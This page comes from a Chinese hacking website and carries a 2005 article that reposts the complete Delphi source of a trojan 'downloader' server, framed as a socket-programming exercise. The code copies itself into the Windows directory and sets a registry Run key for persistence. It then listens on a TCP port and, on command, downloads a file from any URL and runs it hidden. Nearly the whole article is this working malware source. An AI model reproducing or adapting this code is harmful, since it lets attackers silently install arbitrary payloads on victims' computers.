|
|
| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | | ||||
|
|
||||||||
|
||||||||
|
|||||
| 控下载者3.0 服务端代码,使用winsock api编写 | |||||
作者:hnxyy 文章来源:csdn 点击数: 更新时间:2005-10-8 ![]() |
|||||
|
闲时参考kendy遥控下载者3..0客户端而写的server程序,算是练习socket编程的一个简单例子把,用fsg加壳后为8.90K by hnxyy QQ:19026695 程序: program Server; uses Windows,Winsock,urlmon; const BufSize=1024; var buf :array[0..BufSize-1] of char; function DownloadToFile(Sourcefile, Destfile: string): Boolean; //下载函数 begin try Result:=UrlDownloadToFile(nil,PChar(Sourcefile),PChar(Destfile),0,nil)=0; except Result:=false; end; end; function StrPas(const Str: PChar): string;//转换Pchar字符为String格式 begin Result := Str; end; function StrLen(const Str: PChar): Cardinal; assembler; asm MOV EDX,EDI MOV EDI,EAX MOV ECX,0FFFFFFFFH XOR AL,AL REPNE SCASB MOV EAX,0FFFFFFFEH SUB EAX,ECX MOV EDI,EDX end; function StrCopy(Dest: PChar; const Source: PChar): PChar; asm PUSH EDI PUSH ESI MOV ESI,EAX MOV EDI,EDX MOV ECX,0FFFFFFFFH XOR AL,AL REPNE SCASB NOT ECX MOV EDI,ESI MOV ESI,EDX MOV EDX,ECX MOV EAX,EDI SHR ECX,2 REP MOVSD MOV ECX,EDX AND ECX,3 REP MOVSB POP ESI POP EDI end; procedure SendData(FSocket:integer;SendStr:string); begin FillChar(buf,BufSize,#0); strcopy(buf,PChar(SendStr)); send(FSocket,buf,sizeof(buf),0); end; procedure Run; var wd :TWSAdata; server,recSocket :TSocket; ca :TSockAddrIn; rec_len:integer; ip :pchar; port :integer; cmd:string; begin //不能启动winsock库,退出 if WSAStartup($0101,wd)<>0 then exit; //创建一个套接口 server:=socket(PF_INET,SOCK_STREAM,IPPROTO_IP); //连接有错误,退出 if server=INVALID_SOCKET then exit; port :=1304; ip :=’127.0.0.1’; ca.sin_family :=PF_INET; ca.sin_port :=htons(port); ca.sin_addr.s_addr :=inet_addr(ip); //将本地地址与套接口捆绑 if bind(server,ca,sizeof(ca))=SOCKET_ERROR then begin closesocket(server); exit; end; //监听 listen(server,5); recSocket :=accept(server,nil,nil); while true do begin if recSocket=socket_error then exit; rec_len :=recv(recSocket,buf,BufSize,0); if rec_len=socket_error then begin closesocket(recSocket); exit; end; if rec_len<=0 then exit; cmd :=strpas(buf); if copy(cmd,1,3)=’run’ then //自动运行 begin cmd:=Copy(cmd,4,length(cmd)-3); if Pos(’http://’,cmd)=0 then cmd:=’http://’+cmd; SendData(recSocket,’>> 服务端接收到命令(下载+自动运行),正在执行...’); if DownloadToFile(cmd,’c:\srv.exe’) then //下载成功 begin Winexec(’c:\srv.exe’,SW_HIDE); SendData(server,’>> 服务端下载并运行目标文件成功!’); end else SendData(recSocket,’>> 服务端下载目标文件失败!’); end; if Copy(cmd,1,5)=’norun’ then //不运行 begin cmd:=Copy(buf,6,Length(cmd)-5); if Pos(’http://’,cmd)=0 then cmd:=’http://’+cmd; SendData(recSocket,’>> 服务端接收到命令(下载),正在执行...’); if DownloadToFile(cmd,’c:\srv.exe’) then //下载成功 SendData(recSocket,’>> 服务端下载目标文件成功!’) else SendData(recSocket,’>> 服务端下载目标文件失败!’); end; end; closesocket(recSocket); closesocket(server); end; var mykey :HKEY; buffer,cmd :array[0..MAX_PATH] of char; begin GetWindowsDirectory(buffer,MAX_PATH); lstrcat(buffer,’\srv.exe’); GetModuleFileName(hInstance,cmd,MAX_PATH); CopyFile(cmd,buffer,false); RegOpenKeyEx(HKEY_CURRENT_USER,’Software\Microsoft\ Windows\CurrentVersion\Run’,0,KEY_ALL_ACCESS,mykey); RegSetValueEx(mykey,’Downloader’,0,REG_SZ,@buffer,sizeof(buffer)); Run; end. |
|||||
| 文章录入:IceRiver 责任编辑:IceRiver | |||||
| 【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 | |||||
| 最新热点 | 最新推荐 | 相关文章 | ||
| 带宽严重不足!美网络用户因过 火狐浏览器下载次数突破4亿大 警惕木马下载器将您的电脑变 Safari在处理Java Applet的下 巧用下载利器IDM 防止浏览器 本周病毒警惕:KL木马下载器 美国一黑客利用谷歌免费下载 牛X下载者生成器生成的网页木 Windows版本Safari 48小时内 利用下载漏洞对数据库发起网 |
网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!) |
| 关于我们 - 版权声明 - 帮助(?) - 广告服务 - 联系我们 - 友情链接 - 用户注册 - | Powered by ICE RIVER - STUDIO |
| » CnXHacker.CoM | © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved. |